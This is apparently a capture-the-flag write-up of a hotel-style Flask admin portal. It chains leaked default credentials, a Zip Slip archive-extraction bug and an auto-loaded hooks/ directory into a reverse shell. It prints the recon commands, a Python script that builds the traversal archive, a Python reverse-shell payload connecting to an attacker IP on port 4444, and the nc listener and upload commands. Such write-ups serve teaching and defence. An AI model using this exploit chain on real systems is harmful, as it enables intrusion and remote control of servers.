Summary
Web-category room. A hotel-style admin portal lets staff upload "shell" packs
(.zip archives with a shell.json manifest) to drive an in-room display.
Default credentials leak in an HTML comment, the manifest supports optional
hooks, and the extraction routine trusts archive entry names without
sanitizing them. Combining a Zip Slip write with the undocumented hooks/
auto-load mechanism gets a reverse shell.
Recon
nmap -sC -sV -p- <target-ip>
Only two ports open: 22 (SSH) and 5000, running gunicorn — Python/Flask
behind a production WSGI server, no dev-mode Werkzeug banner.
curl -I http://<target-ip>:5000
confirms Server: gunicorn. No /robots.txt surprises; the app is entirely
on port 5000, no separate 80/443.
Vulnerability
Leaked credentials
curl-ing the login page and reading the raw HTML (not the rendered DOM)
turns up an HTML comment IT apparently forgot to strip:
user: concierge
pass: <REDACTED-DEFAULT-PASSWORD>
Root cause
Shared default credentials meant to be rotated "on first sign-in" — never rotated. Classic A07 (Identification and Authentication Failures).
Logging in returns a Flask session cookie, signed but not encrypted
(base64(payload).timestamp.signature). Decoding the payload just confirms
{"staff": "concierge"} — no privilege field worth forging here.
Mapping the manifest schema
The upload panel accepts a .zip with a shell.json manifest. Rather than
guess the schema, force validation errors and read them literally:
mkdir shell_test && cd shell_test
printf '%s\n' '{"assets":[{"file":"style.css","type":"css"}]}' > shell.json
zip shell.zip shell.json
curl -b cookies.txt -X POST http://<target-ip>:5000/upload -F "[email protected]"
Shell rejected: shell.json is missing a 'name'
Each rejection reveals the next required field. End state: name (string,
required), assets (array, required — every entry so far gets rejected
regardless of type value, root cause never fully isolated, likely a
separate/decoy bug), and an optional hooks array that is accepted with
any structure and never validates or errors — a strong signal it's
processed later, not at upload time.
Zip Slip
The extraction routine builds the output path by joining the archive's internal entry name directly onto the target directory:
target_path = os.path.join(extract_dir, file_info.filename)
os.makedirs(os.path.dirname(target_path), exist_ok=True)
with open(target_path, "wb") as f:
f.write(archive.read(file_info.filename))
zip (the CLI) normalizes ../ out of entry names, so the PoC has to be
built with Python's zipfile, which writes whatever arcname string you
give it:
import zipfile
with zipfile.ZipFile("probe.zip", "w") as z:
z.writestr("shell.json", '{"name":"probe","assets":[]}')
z.writestr("../ziptest.txt", "zip slip confirmed")
Uploading and fetching /shells/ziptest.txt afterwards returns the planted
content — confirmed write outside the intended shells/<id>/ sandbox.
Depth mapping
Walking ../, ../../, ../../../ and watching for a clean upload vs. a
500 (permission denied past a certain depth) maps how many directories sit
between the upload sandbox and the app root — useful before guessing target
paths blind.
Read ≠ write
The /shells/<path> static-serve route normalizes ../ in the URL itself
(Werkzeug), so files written outside the sandbox via Zip Slip can't be read
back the same way. Verifying "did my traversal write land" needs an
out-of-band or execution-based signal, not a GET request.
Exploit
The manifest's hooks field is the missing piece: the app auto-loads
Python files dropped into a hooks/ directory as part of a "theme worker"
that applies changes shortly after upload. Combine that with the Zip Slip
write primitive — plant the hook file two directories up, inside hooks/,
instead of the sandboxed upload folder:
import zipfile, json
manifest = {"name": "reverse", "assets": []}
callback = '''
import socket, os, pty
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("<attacker-ip>", 4444))
for fd in (0, 1, 2):
os.dup2(sock.fileno(), fd)
pty.spawn("/bin/bash")
'''
with zipfile.ZipFile("reverse-shell.zip", "w") as z:
z.writestr("shell.json", json.dumps(manifest))
z.writestr("../../hooks/callback.py", callback)
nc -lvnp 4444
python3 build_payload.py
curl -b cookies.txt -X POST http://<target-ip>:5000/upload -F "[email protected]"
Shortly after the upload, the worker picks up hooks/callback.py and runs
it — shell lands on the listener. Flag recovered after basic enumeration
(cd .., into the app's working directory).
Why this works
Two independent bugs chained together:
- Zip Slip — archive extraction trusts entry names, so
../in azipfile.writestr()arcname escapes the intended output directory. - Unauthenticated code execution via
hooks/— any.pyfile placed in that directory gets loaded and run, with no check on how it got there. The manifest'shooksfield looking like inert, unvalidated metadata was itself the tell: something that accepts arbitrary structure without ever erroring is usually being consumed downstream, not ignored.
Neither bug alone is enough — Zip Slip without a load-and-execute sink is
"just" an arbitrary file write; the hook loader without Zip Slip would need
some other way to get a file into hooks/.
Lessons
- Silent acceptance is a signal, not a dead end. A field that never
errors regardless of structure (
hooks) is worth suspecting more than a field that errors constantly (assets) — the constant-reject field is probably validating against something orthogonal to what you're guessing. - A write primitive and a read/serve path are not the same
vulnerability. Confirming a traversal write landed required an
execution-based or filesystem-visible signal, since the static-serve
route independently blocked
../in URLs. - Isolate one unknown at a time. Testing a guessed hook filename and unverified network egress in the same payload made silence undiagnosable — splitting "does execution happen at all" (local file-write proof) from "does egress work" (OOB callback) would have saved several blind iterations.